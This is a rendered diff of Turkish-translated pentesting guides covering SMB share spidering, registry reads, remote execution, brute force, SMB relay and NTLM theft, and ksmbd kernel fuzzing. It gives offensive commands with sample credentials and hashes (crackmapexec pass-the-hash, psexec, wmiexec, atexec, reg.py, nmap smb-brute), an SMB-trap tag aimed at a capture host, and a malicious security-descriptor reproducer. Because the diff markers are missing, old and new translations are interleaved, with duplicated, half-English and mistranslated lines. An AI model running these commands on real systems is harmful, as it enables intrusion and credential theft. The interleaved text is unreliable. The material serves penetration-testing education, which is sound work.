sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
Paylaşımlarda özellikle ilgi çekici olan dosyalar **`Registry.xml`** adlı dosyalardır çünkü Group Policy aracılığıyla **autologon** olarak yapılandırılmış kullanıcılar için **parolalar içerebilirler**. Veya **`web.config`** dosyalarına dikkat edin, çünkü kimlik bilgileri içerebilirler.
> [!TIP]
> Domain içindeki tüm kimlik doğrulanmış kullanıcılar için **SYSVOL share** **okunabilir**. Orada birçok farklı batch, VBScript ve PowerShell **scripts** **bulabilirsiniz**.\
> İçindeki **scripts**i **kontrol etmelisiniz**, çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
> Domain içindeki tüm kimlik doğrulanmış kullanıcılar için **SYSVOL share** **okunabilir**. Orada birçok farklı batch, VBScript ve PowerShell **scripts** bulabilirsiniz.\
> İçindeki **scripts**leri **kontrol** etmelisiniz çünkü **parolalar** gibi hassas bilgiler bulabilirsiniz.
## Kayıt Defterini Oku
Keşfettiğiniz bazı kimlik bilgilerini kullanarak **kayıt defterini okuyabilirsiniz**. Impacket **`reg.py`** allows you to try:
Bulduğunuz bazı kimlik bilgilerini kullanarak **kayıt defterini okuyabilirsiniz**. Impacket **`reg.py`** ile deneyebilirsiniz:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalar** içerebilir:
Bir **varsayılan konfigürasyonu** olan bir **Samba** sunucusu genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli konfigürasyonlar** içerebilir:
| **Ayar** | **Açıklama** |
| **Ayar** | **Açıklama** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Geçerli paylaşımda kullanılabilir paylaşımları listelemeye izin veriyor mu? |
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini engeller mi? |
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin veriyor mu? |
| `guest ok = yes` | Parola kullanmadan servise bağlanmaya izin veriyor mu? |
| `enable privileges = yes` | Belirli bir SID'e atanan ayrıcalıkları uygular mı? |
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinler atanmalı? |
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinler atanmalı? |
| `logon script = script.sh` | Kullanıcının girişinde hangi betik çalıştırılmalı? |
| `magic script = script.sh` | Betik kapandığında hangi betik çalıştırılmalı? |
| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalı? |
| `browseable = yes` | Mevcut paylaşımdaki paylaşımların listelenmesine izin verir mi? |
| `read only = no` | Dosya oluşturulmasını ve değiştirilmesini yasaklar mı? |
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin verir mi? |
| `guest ok = yes` | Parola kullanmadan servise bağlanılmasına izin verir mi? |
| `enable privileges = yes` | Belirli bir SID'ye atanan ayrıcalıkları uygular mı? |
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
| `logon script = script.sh` | Kullanıcı girişinde hangi scriptin çalıştırılması gerekir? |
| `magic script = script.sh` | Script kapatıldığında hangi script çalıştırılmalıdır? |
| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalıdır? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
The command `smbstatus` gives information about the **sunucu** and about **kimin bağlı olduğu**.
## Kerberos kullanarak kimlik doğrulama
Araçlar **smbclient** ve **rpcclient** kullanarak **kerberos**'a **kimlik doğrulayabilirsiniz**:
Araçlar **smbclient** ve **rpcclient** kullanarak **kerberos**'a **kimlik doğrulaması** yapabilirsiniz:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec, **abusing** yoluyla **mmcexec, smbexec, atexec, wmiexec**'in herhangi birini kullanarak komut çalıştırabilir; **wmiexec** **default** yöntemdir. Hangi seçeneği kullanmayı tercih ettiğinizi `--exec-method` parametresi ile belirtebilirsiniz:
crackmapexec, **mmcexec, smbexec, atexec, wmiexec**'in herhangi birini kullanarak komut çalıştırabilir; varsayılan yöntem **wmiexec**'tir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
```bash
apt-get install crackmapexec
@ -380,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Her iki seçenek de hedef makinede (_\pipe\svcctl_ üzerinden SMB kullanarak) **yeni bir servis oluşturacak** ve bunu **bir şeyi çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına yürütülebilir bir dosya **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'i işaret edip argümanlara payload'u koyacaktır --**file-less technique-**-).\
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali**'de /usr/share/doc/python3-impacket/examples/
Her iki seçenek de hedef makinede _\pipe\svcctl_ üzerinden SMB kullanarak **yeni bir servis oluşturacak** ve bunu **bir şey çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına bir executable file **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'e işaret edip argümanlara payload'u koyacaktır --**file-less technique-**-).\
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur.
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -390,12 +390,12 @@ Her iki seçenek de hedef makinede (_\pipe\svcctl_ üzerinden SMB kullanarak) **
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**parametre**`-k` kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz
**Parametre**`-k` ile **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz.
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
DCOM üzerinden **port 135** kullanarak diske dokunmadan veya yeni bir servis başlatmadan gizlice bir komut kabuğu çalıştırın.\
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunur.
Diske dokunmadan veya yeni bir servis çalıştırmadan, DCOM aracılığıyla **port 135.**\
**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur.
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
@ -411,7 +411,7 @@ DCOM üzerinden **port 135** kullanarak diske dokunmadan veya yeni bir servis ba
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Komutları Görev Zamanlayıcı aracılığıyla çalıştır (SMB üzerinden _\pipe\atsvc_ kullanarak).\
Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanılarak).\
**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur.
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -421,7 +421,7 @@ Komutları Görev Zamanlayıcı aracılığıyla çalıştır (SMB üzerinden _\
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd saldırı yüzeyi ve SMB2/SMB3 protokol fuzzing (syzkaller)
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
@ -429,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
## **Bruteforce kullanıcı kimlik bilgileri**
**Bu önerilmez; izin verilen maksimum deneme sayısını aşarsanız bir hesabı kilitleyebilirsiniz**
**Bu önerilmez; izin verilen maksimum deneme sayısını aşırsanız bir hesabı kilitleyebilirsiniz**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Bu saldırı, iç ağda Responder toolkit'i kullanarak **SMB kimlik doğrulama oturumlarını yakalar** ve bunları bir **hedef makineye** **aktarır**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak sizi bir **system** **shell**'e düşürür.\
[**Bu saldırı hakkında daha fazla bilgi.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak sunucuya kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında hedefe otomatik olarak kimlik doğrulama denemesi yapar, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
@ -450,17 +450,17 @@ This happens with the functions:
- URLOpenStream
- URLOpenBlockingStream
Bunlar bazı tarayıcılar ve araçlar (like Skype) tarafından kullanılır
Which are used by some browsers and tools (like Skype)
![Kaynak: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
![Kaynak: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack).
SMB Trapping'e benzer şekilde, hedef sisteme (ör. SMB üzerinden) kötü amaçlı dosyalar yerleştirmek bir SMB kimlik doğrulama denemesine neden olabilir; bu sayede NetNTLMv2 hash'i Responder gibi bir araçla yakalanabilir. Hash daha sonra çevrimdışı kırılabilir veya bir [SMB relay attack](#smb-relay-attack) için kullanılabilir.
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

92
src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
View File

@ -1,55 +1,55 @@
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
# ksmbd Saldırı Yüzeyi & SMB2/SMB3 Protokol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Overview
Bu sayfa, syzkaller kullanarak Linux çekirdek içi SMB sunucusu (ksmbd) için uygulanabilir ve fuzz tekniklerini soyutlar. Yapılandırma yoluyla protokol saldırı yüzeyini genişletmeye, SMB2 işlemlerini zincirleyebilen durumlu bir harness oluşturmaya, dilbilgisel olarak geçerli PDU'lar üretmeye, mutasyonları zayıf kapsanan kod yollarına yönlendirmeye ve syzkaller özelliklerinden (focus_areas ve ANYBLOB gibi) yararlanmaya odaklanır. Orijinal araştırma belirli CVE'leri sıralasa da, burada yeniden kullanılabilir metodoloji ve kendi kurulumlarınıza uyarlayabileceğiniz somut kesitleri vurguluyoruz.
## Genel Bakış
Bu sayfa, syzkaller kullanarak Linux in-kernel SMB sunucusu (ksmbd) üzerinde pratik teknikleri özetler. Odak, yapılandırma yoluyla protokol saldırı yüzeyini genişletmek, SMB2 operasyonlarını zincirleyebilen durumlu bir harness oluşturmak, grammar-geçerli PDU'lar üretmek, mutasyonları zayıf-kapsanan kod yollarına yönlendirmek ve focus_areas ile ANYBLOB gibi syzkaller özelliklerinden faydalanmaktır. Orijinal araştırma belirli CVE'leri sıralasa da burada yeniden kullanılabilir metodolojiye ve kendi kurulumlarınıza uyarlayabileceğiniz somut parçacıklara vurgu yapıyoruz.
Hedef kapsam: SMB2/SMB3 over TCP. Harness'i basit tutmak için Kerberos ve RDMA kasıtlı olarak kapsam dışıdır.
Hedef kapsam: SMB2/SMB3 over TCP. Kerberos ve RDMA, harness'i basit tutmak için kasıtlı olarak kapsam dışıdır.
---
## Expand ksmbd Attack Surface via Configuration
Varsayılan olarak, minimal bir ksmbd kurulum server'ın büyük bölümlerini test edilmemiş bırakır. Sunucuyu ek ayrıştırıcılar/işleyiciler üzerinden çalıştırmak ve daha derin kod yollarına ulaşmak için aşağıdaki özellikleri etkinleştirin:
## Yapılandırma ile ksmbd Saldırı Yüzeyini Genişletme
Varsayılan olarak, minimal bir ksmbd kurulumu sunucunun büyük bölümlerini test edilmemiş bırakır. Sunucuyu ek parser/handler'lar üzerinden geçirip daha derin kod yollarına ulaşmak için aşağıdaki özellikleri etkinleştirin:
- Global düzey
- Durable handles
- Server multi-channel
- SMB2 leases
- Paylaşım bazlı (Per-share-level)
- Paylaşıma-özel düzey
- Oplocks (varsayılan olarak açık)
- VFS objects
Bunları etkinleştirmek, şu modüllerde daha fazla yürütme sağlar:
- smb2pdu.c (command parsing/dispatch)
Bunları etkinleştirmek, şu modüllerde yürütmeyi artırır:
- smb2pdu.c (komut parse/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (ACL parsing/enforcement)
- smbacl.c (ACL parse/uygulama)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
Notlar
- Tam seçenekler dağıtımınızın ksmbd userspace'ine (ksmbd-tools) bağlıdır. Durable handles, leases, oplocks ve VFS object'leri etkinleştirmek için /etc/ksmbd/ksmbd.conf ve paylaşıma özel bölümleri inceleyin.
- Multi-channel ve durable handles, durum makinelerini ve ömürleri değiştirir; çoğunlukla eşzamanlılık altında UAF/refcount/OOB hatalarını su yüzüne çıkarırlar.
- Tam seçenekler dağıtımınızın ksmbd userspace'ine (ksmbd-tools) bağlıdır. Durable handles, leases, oplocks ve VFS objects'i etkinleştirmek için /etc/ksmbd/ksmbd.conf ve paylaşıma özel bölümleri inceleyin.
- Multi-channel ve durable handles durum makinelerini ve ömürleri değiştirir; bu genellikle concurrency altında UAF/refcount/OOB hatalarını yüzeye çıkarır.
---
## Authentication and Rate-Limiting Adjustments for Fuzzing
SMB3 geçerli bir session gerektirir. Harness'lerde Kerberos uygulamak karmaşıktır, bu yüzden fuzz için NTLM/guest tercih edin:
## Fuzzing için Kimlik Doğrulama ve Rate-Limiting Ayarları
SMB3 geçerli bir session gerektirir. Harness'lerde Kerberos uygulamak karmaşıklık eklediği için fuzzing için NTLM/guest tercih edin:
- Guest erişimine izin verin ve map to guest = bad user olarak ayarlayın ki bilinmeyen kullanıcılar GUEST'e düşsün.
- NTLMv2'yi kabul edin (devre dışıysa policy'yi patch'leyin). Bu, el sıkışmayı basit tutarken SMB3 kod yollarını çalıştırır.
- Deneyler sırasında sıkı credit kontrollerini patch'leyin (CVE-2024-50285 için yapılan sertleştirme aynı anda-op crediting'i daha sıkı hale getirmişti). Aksi halde rate-limitler fuzzed dizileri çok erken reddedebilir.
- Yüksek verimli fuzzing sırasında erken reddeleri önlemek için max connections sayısını (ör. 65536) arttırın.
- NTLMv2'yi kabul edin (kapalıysa policy'yi patch'leyin). Bu, handshake'i basit tutarken SMB3 kod yollarını çalıştırır.
- Deneyler sırasında katı credit kontrollerini patch'leyin (CVE-2024-50285 için yapılan hardening sonrasında simultaneous-op kredilendirme daha katı hale geldi). Aksi takdirde rate-limit'ler fuzz edilmiş dizileri çok erken reddedebilir.
- Yüksek verimli fuzzing sırasında erken reddi önlemek için max connections'ı (ör. 65536) artırın.
Uyarı: Bu gevşetmeler sadece fuzz için uygulanmalıdır. Bu ayarlarla production'a deploy etmeyin.
Dikkat: Bu gevşetmeler yalnızca fuzzing'i kolaylaştırmak içindir. Bu ayarlarla üretimde dağıtmayın.
---
## Stateful Harness: Extract Resources and Chain Requests
SMB stateful'dır: birçok istek önceki cevaplar tarafından döndürülen tanımlayıcılara (SessionId, TreeID, FileID çiftleri) bağlıdır. Harness'iniz, cevapları parse etmeli ve aynı program içinde ID'leri yeniden kullanarak derin işleyicilere ulaşmalıdır (ör. smb2_create → smb2_ioctl → smb2_close).
## Durumlu Harness: Kaynak Çıkarma ve İstekleri Zincirleme
SMB durumludur: birçok istek önceki yanıtlarda döndürülen tanımlayıcılara bağlıdır (SessionId, TreeID, FileID çiftleri). Harness'iniz yanıtları parse etmeli ve aynı program içinde ID'leri yeniden kullanarak daha derin handler'lara ulaşmalıdır (ör. smb2_create → smb2_ioctl → smb2_close).
Örnek, bir response buffer'ı işlemek (ilk +4B NetBIOS PDU length atlanarak) ve ID'leri cache'lemek için bir snippet:
Aşağıda bir yanıt buffer'ını işlemek (ilk +4B NetBIOS PDU uzunluğunu atlayarak) ve ID'leri önbelleğe almak için örnek bir snippet:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@ -76,13 +76,13 @@ break;
}
```
İpuçları
- Tek bir fuzzer sürecinin kimlik doğrulama/durumu paylaşmasını sağlayın: ksmbd’s global/session tables ile daha iyi stabilite ve kapsama elde edilir. syzkaller hâlâ ops'ları async olarak işaretleyerek concurrency enjekte eder; dahili olarak yeniden çalıştırır.
- Syzkaller’s experimental reset_acc_state global state'i sıfırlayabilir ancak ciddi yavaşlamaya neden olabilir. Stabiliteyi tercih edin ve fuzzing'e odaklanın.
- Kimlik doğrulama/durumu paylaşan tek bir fuzzer süreci tutun: ksmbd’nin global/session tabloları ile daha iyi stabilite ve kapsama. syzkaller yine ops’ları async işaretleyerek eşzamanlılık enjekte eder, dahili olarak yeniden çalıştırır.
- Syzkaller’in deneysel reset_acc_state’i global state’i sıfırlayabilir ama ağır yavaşlamaya neden olabilir. Bunun yerine stabiliteyi tercih edin ve fuzzing’e odaklanın.
---
## Gramer-Tabanlı SMB2 Üretimi (Geçerli PDUs)
Microsoft Open Specifications içindeki SMB2 yapılarını bir fuzzer grammar'ına çevirin, böylece generator'ünüz yapısal olarak geçerli PDUs üretir ve bu PDUs sistematik olarak dispatchers ve IOCTL handlers'a ulaşır.
## Gramer Tabanlı SMB2 Oluşturma (Valid PDUs)
Microsoft Open Specifications içindeki SMB2 yapılarını bir fuzzer gramerine çevirin, böylece generator’ünüz yapısal olarak geçerli PDUs üretir ve bunlar sistematik olarak dispatcher’lara ve IOCTL handler’larına ulaşır.
Örnek (SMB2 IOCTL request):
```
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
Bu stil, yapı boyutları/ofsetlerinin doğru olmasını zorlar ve kör mutasyona kıyasla kapsamı önemli ölçüde iyileştirir.
Bu stil, structure sizes/offsets'ın doğru olmasını sağlar ve blind mutation'a kıyasla coverage'i dramatik şekilde iyileştirir.
---
## Directed Fuzzing With focus_areas
syzkaller’s deneysel focus_areas özelliğini, halihazırda zayıf kapsama sahip belirli fonksiyonlar/dosyalar için ağırlık vermek üzere kullanın. Örnek JSON:
syzkaller'in deneysel focus_areas özelliğini, şu anda coverage'i zayıf olan belirli functions/files üzerinde ağırlık vermek için kullanın. Örnek JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ syzkaller’s deneysel focus_areas özelliğini, halihazırda zayıf kapsama sah
]
}
```
Bu, smbacl.c içindeki arithmetic/overflow yollarına ulaşan geçerli ACLs'leri oluşturmaya yardımcı olur. Örneğin, aşırı büyük bir dacloffset içeren kötü niyetli bir Security Descriptor bir integer-overflow'u yeniden üretir.
Bu, smbacl.c içindeki arithmetic/overflow yollarına isabet eden geçerli ACLs oluşturulmasına yardımcı olur. Örneğin, aşırı büyük bir dacloffset içeren kötü amaçlı bir Security Descriptor bir integer-overflow'ı yeniden üretir.
Reproducer oluşturucu (minimal Python):
Reproducer builder (minimal Python):
```python
def build_sd():
import struct
@ -143,8 +143,8 @@ return bytes(sd)
```
---
## ANYBLOB ile Kapsam Platolarını Aşmak
syzkaller’in anyTypes (ANYBLOB/ANYRES), karmaşık yapıları genel olarak mutasyon geçirebilen blob'lara dönüştürmeye izin verir. Kamuya açık SMB pcaps'lerinden yeni bir corpus oluşturun ve payload'ları pseudo-syscall'inizi çağıran syzkaller programlarına dönüştürün (ör., syz_ksmbd_send_req):
## ANYBLOB ile Kapsama Platolarını Aşmak
syzkaller’s anyTypes (ANYBLOB/ANYRES), karmaşık yapıları genel olarak değişen blob'lara dönüştürmeyi sağlar. Kamuya açık SMB pcap'lerinden yeni bir corpus oluşturun ve payload'ları pseudo-syscall'unuzu çağıran syzkaller programlarına dönüştürün (ör. syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
This jump-starts exploration and can immediately trigger UAFs (e.g., in ksmbd_sessions_deregister) while lifting coverage a few percent.
Bu, keşfi hızlandırır ve kapsama birkaç puan artırırken hemen UAFs (ör. ksmbd_sessions_deregister içinde) tetikleyebilir.
---
## Sanitizers: Beyond KASAN
- KASAN, heap hataları (UAF/OOB) için birincil tespit aracı olmaya devam eder.
- KCSAN genellikle bu hedefte false positives veya düşük şiddetli data races üretir.
- UBSAN/KUBSAN, array-index semantiği nedeniyle KASAN'ın kaçırdığı declared-bounds hatalarını yakalayabilir. Örnek:
## Sanitizers: KASAN'ın Ötesi
- KASAN, heap hataları (UAF/OOB) için birincil tespit aracıdır.
- KCSAN genellikle bu hedefte yanlış pozitifler veya düşük şiddetli data races verir.
- UBSAN/KUBSAN, KASAN'ın dizi indeks semantiği nedeniyle kaçırdığı declared-bounds hatalarını yakalayabilir. Örnek:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -186,19 +186,19 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
---
## Bant Genişliği ve Paralellik Notları
- Tek bir fuzzer process (shared auth/state), ksmbd için önemli ölçüde daha kararlı olma eğilimindedir ve syzkaller’ın dahili async executor’u sayesinde yine de races/UAFs’i ortaya çıkarır.
- Birden fazla VM ile toplamda hâlâ saniyede yüzlerce SMB komutu işleyebilirsiniz. Fonksiyon seviyesinde coverage olarak fs/smb/server’ın ~%60’ı ve smb2pdu.c’nin ~%70’i civarı ulaşılabilir; ancak state-transition kapsamı bu tür metriklerle yeterince temsil edilmez.
## Verim ve Paralellik Notları
- Tek bir fuzzer süreci (shared auth/state), ksmbd için genellikle çok daha kararlıdır ve syzkaller’in dahili async executor’ü sayesinde hala races/UAFs’i ortaya çıkarır.
- Birden fazla VM ile yine de toplamda saniyede yüzlerce SMB komutuna ulaşabilirsiniz. Fonksiyon düzeyinde kapsama, fs/smb/server için ~%60 ve smb2pdu.c için ~%70 civarında elde edilebilir, ancak state-transition kapsaması bu tür metriklerle yeterince temsil edilmez.
---
## Pratik Kontrol Listesi
- ksmbd’de durable handles, leases, multi-channel, oplocks ve VFS objects’i etkinleştirin.
- guest ve map-to-guest’e izin verin; NTLMv2’yi kabul edin. credit limits’i patch’leyin ve fuzzer stabilitesi için max connections’ı artırın.
- SessionId/TreeID/FileIDs’i cache’leyen ve create → ioctl → close zinciri kuran stateful bir harness inşa edin.
- Yapısal geçerliliği korumak için SMB2 PDUs için bir grammar kullanın.
- Zayıf kapsanan fonksiyonları overweight etmek için focus_areas kullanın (ör. smbacl.c yolları, smb_check_perm_dacl gibi).
- Plateau’ları kırmak için gerçek pcaps’ten ANYBLOB ile seedleyin; seed’leri tekrar kullanım için syz-db ile paketleyin.
- ksmbd'de durable handles, leases, multi-channel, oplocks ve VFS objelerini etkinleştirin.
- guest ve map-to-guest'e izin verin; NTLMv2'yi kabul edin. Fuzzer kararlılığı için credit limits'i patch'leyin ve max connections'ı yükseltin.
- SessionId/TreeID/FileID'leri cache'leyen ve create → ioctl → close zincirleyen stateful bir harness oluşturun.
- Yapısal geçerliliği korumak için SMB2 PDU'ları için bir grammar kullanın.
- Zayıf kapsanan fonksiyonları ağırlıklandırmak için focus_areas kullanın (ör. smbacl.c yolları: smb_check_perm_dacl gibi).
- Düzleşmeleri kırmak için gerçek pcaps'tan ANYBLOB ile seed verin; yeniden kullanım için seed'leri syz-db ile paketleyin.
- KASAN + UBSAN ile çalıştırın; UBSAN declared-bounds raporlarını dikkatle triage edin.
---
@ -207,7 +207,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
- Async executor değişikliği (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html

227
src/network-services-pentesting/pentesting-web/README.md
View File

@ -4,7 +4,7 @@
## Temel Bilgiler
Web servisi en **yaygın ve kapsamlı hizmet**tir ve birçok **farklı türde zafiyet** vardır.
Web servisi en **yaygın ve kapsamlı servis**dir ve birçok **farklı türde vulnerabilities** vardır.
**Varsayılan port:** 80 (HTTP), 443(HTTPS)
```bash
@ -26,29 +26,29 @@ web-api-pentesting.md
## Metodoloji özeti
> Bu metodolojide bir domain (veya subdomain) ve sadece onu hedef alacağınızı varsayıyoruz. Bu nedenle, kapsam içindeki her keşfedilen domain, subdomain veya web server'ı belirsiz IP için bu metodolojiyi uygulamalısınız.
> Bu metodolojide bir domain'i (veya subdomain'i) ve yalnızca onu hedef alacağınızı varsayacağız. Bu yüzden, bu metodolojiyi kapsam içindeki her keşfedilen domain, subdomain veya web sunucusu belirlenmemiş IP için uygulamalısınız.
- [ ] Başlangıç olarak web server tarafından kullanılan **technologies**'i **identifying** ile tespit edin. Tech'i başarıyla tespit edebilirseniz testin geri kalanında akılda tutulması gereken **tricks**'e bakın.
- [ ] Kullandığınız teknolojinin sürümüne ait herhangi bir **known vulnerability** var mı?
- [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **useful trick** var mı?
- [ ] Çalıştırılacak herhangi bir **specialised scanner** var mı (ör. wpscan)?
- [ ] Genel amaçlı **general purposes scanners**'ı başlatın. Ne bulacaklarını veya ilginç bilgi edinip edinmeyeceklerini bilemezsiniz.
- [ ] **initial checks** ile başlayın: **robots**, **sitemap**, **404** error ve **SSL/TLS scan** (HTTPS ise).
- [ ] Web sayfasını **spidering** ile taramaya başlayın: Olası tüm **files, folders** ve kullanılan **parameters being used**'i **find** edin. Ayrıca **special findings** için kontrol edin.
- [ ] _Not: brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin spidering yapılmalıdır._
- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörleri yeni **files** ve **directories** arayarak brute force etmeyi deneyin.
- [ ] _Not: brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced yapılmalıdır._
- [ ] **Backups checking**: Ortaya çıkan **discovered files**'ların yedeklerini, yaygın backup uzantılarını ekleyerek bulup bulamayacağınızı test edin.
- [ ] **Brute-Force parameters**: Gizli parametreleri **find** etmeye çalışın.
- [ ] Tüm olası **endpoints** tarafından kabul edilen **user input**'ları **identified** ettiğinizde, bunlarla ilgili her türlü **vulnerabilities** için kontrol edin.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Önce web sunucusunun kullandığı **teknolojileri belirleyin**. Teknolojiyi başarılı bir şekilde tanımlayabilirseniz, testin geri kalanında akılda tutulması gereken **ipuçlarını** arayın.
- [ ] Kullandığınız teknolojinin sürümüne ait herhangi bir **bilinen vulnerability** var mı?
- [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için kullanışlı bir **trick** var mı?
